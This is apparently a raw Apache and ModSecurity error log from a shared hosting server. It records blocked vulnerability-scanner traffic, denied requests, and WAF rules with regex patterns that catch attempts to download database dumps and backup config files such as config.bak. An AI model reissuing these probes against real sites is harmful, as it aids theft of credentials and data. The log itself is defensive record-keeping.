https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:43.624136 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:43.687900 2026] [security2:error] [pid 648189:tid 648223] [remote 17.241.75.64:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zn1WSojQL4F7upKB9RwAApgM"] [Sat Jun 13 18:19:43.728930 2026] [access_compat:error] [pid 646876:tid 646900] [remote 57.141.14.42:45444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:43.729211 2026] [access_compat:error] [pid 646876:tid 646900] [remote 57.141.14.42:45444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:43.790027 2026] [autoindex:error] [pid 646876:tid 647101] [client 43.153.10.83:57018] AH01276: Cannot serve directory /home3/habeshac/public_html/finan/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:19:43.811104 2026] [security2:error] [pid 648189:tid 648476] [client 185.177.72.9:37128] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/mysqladmin.php"] [unique_id "ai3zn1WSojQL4F7upKB9TAAAAPo"] [Sat Jun 13 18:19:44.024094 2026] [security2:error] [pid 648189:tid 648272] [remote 17.22.237.51:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zoFWSojQL4F7upKB9WAAAxDI"] [Sat Jun 13 18:19:44.088444 2026] [access_compat:error] [pid 648189:tid 648295] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:44.088928 2026] [access_compat:error] [pid 648189:tid 648295] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:44.199501 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:19:44.199804 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:19:44.280613 2026] [security2:error] [pid 648189:tid 648240] [remote 17.22.253.94:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 94.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zoFWSojQL4F7upKB9YgAAhRM"] [Sat Jun 13 18:19:44.378104 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.13:53009] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:44.378383 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.13:53009] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:44.577903 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.12:26450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:44.578176 2026] [access_compat:error] [pid 646876:tid 646921] [remote 57.141.14.12:26450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:44.647686 2026] [security2:error] [pid 648189:tid 648384] [client 45.86.200.48:44957] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/inputs.php"] [unique_id "ai3zoFWSojQL4F7upKB9dgAAAKQ"] [Sat Jun 13 18:19:44.716084 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.103:55482] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:44.716404 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.103:55482] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:44.733752 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:19:44.734174 2026] [access_compat:error] [pid 646876:tid 646948] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:19:44.969997 2026] [ssl:error] [pid 646876:tid 646914] [remote 155.117.105.19:34646] AH02032: Hostname sunshinemanage.com provided via SNI and hostname www.zyqualitylightinggroove.com provided via HTTP have no compatible SSL setup for policy 'secure' [Sat Jun 13 18:19:45.055168 2026] [security2:error] [pid 648189:tid 648322] [remote 2a02:c7c:5105:d600:f58d:263a:6438:b760:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zoVWSojQL4F7upKB9kAAA32M"], referer: https://www.torquayfans.com [Sat Jun 13 18:19:45.055221 2026] [security2:error] [pid 648189:tid 648322] [remote 2a02:c7c:5105:d600:f58d:263a:6438:b760:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zoVWSojQL4F7upKB9kAAA32M"], referer: https://www.torquayfans.com [Sat Jun 13 18:19:45.211456 2026] [access_compat:error] [pid 646876:tid 646953] [remote 57.141.14.56:49278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:45.211897 2026] [access_compat:error] [pid 646876:tid 646953] [remote 57.141.14.56:49278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:45.247318 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:45.247789 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:45.302282 2026] [security2:error] [pid 646876:tid 647045] [client 185.177.72.9:37144] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/database_backup.sql"] [unique_id "ai3zodyTkdrNlD40tSG7YAAAACU"] [Sat Jun 13 18:19:45.533840 2026] [access_compat:error] [pid 648189:tid 648326] [remote 57.141.14.108:63429] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:45.534281 2026] [access_compat:error] [pid 648189:tid 648326] [remote 57.141.14.108:63429] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:45.614100 2026] [security2:error] [pid 648189:tid 648477] [client 45.86.200.6:61757] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 6.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/mini.php"] [unique_id "ai3zoVWSojQL4F7upKB9qgAAAPs"] [Sat Jun 13 18:19:45.688484 2026] [security2:error] [pid 648189:tid 648296] [remote 17.246.23.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zoVWSojQL4F7upKB9sAAAxko"] [Sat Jun 13 18:19:45.722552 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:19:45.723002 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:19:45.988643 2026] [access_compat:error] [pid 646876:tid 646910] [remote 57.141.14.77:58549] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:45.989106 2026] [access_compat:error] [pid 646876:tid 646910] [remote 57.141.14.77:58549] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:46.016229 2026] [security2:error] [pid 648189:tid 648221] [remote 17.22.237.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zolWSojQL4F7upKB9vgAA4wE"] [Sat Jun 13 18:19:46.260033 2026] [security2:error] [pid 648189:tid 648273] [remote 17.22.253.49:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 49.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zolWSojQL4F7upKB9yQAAuDM"] [Sat Jun 13 18:19:46.263086 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:46.263521 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:46.385673 2026] [security2:error] [pid 646876:tid 647127] [client 185.177.72.9:37144] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/core/config.php"] [unique_id "ai3zotyTkdrNlD40tSG7fgAAAHc"] [Sat Jun 13 18:19:46.597699 2026] [access_compat:error] [pid 646876:tid 646992] [remote 57.141.14.59:63513] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:46.598130 2026] [access_compat:error] [pid 646876:tid 646992] [remote 57.141.14.59:63513] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:46.634699 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.113:59966] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:46.635060 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.113:59966] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:46.655955 2026] [security2:error] [pid 648189:tid 648420] [client 216.73.216.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/date_variation1.phpt"] [unique_id "ai3zolWSojQL4F7upKB-BwAAAMc"] [Sat Jun 13 18:19:46.666518 2026] [security2:error] [pid 648189:tid 648471] [client 185.177.72.9:37152] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(wp-)?config\\\\.(php\\\\.)?(?:bac?k|o(?:ld|rig)|copy|s(?:ave|wp)|vim?\\\\.|~)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1254"] [id "390597"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup config file (disable this rule if you require access to these backup files)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/core/config.bak"] [unique_id "ai3zolWSojQL4F7upKB-CAAAAPU"] [Sat Jun 13 18:19:46.748697 2026] [security2:error] [pid 646876:tid 647075] [client 45.86.200.49:64599] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 49.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/goods.php"] [unique_id "ai3zotyTkdrNlD40tSG7hwAAAEM"] [Sat Jun 13 18:19:46.794931 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 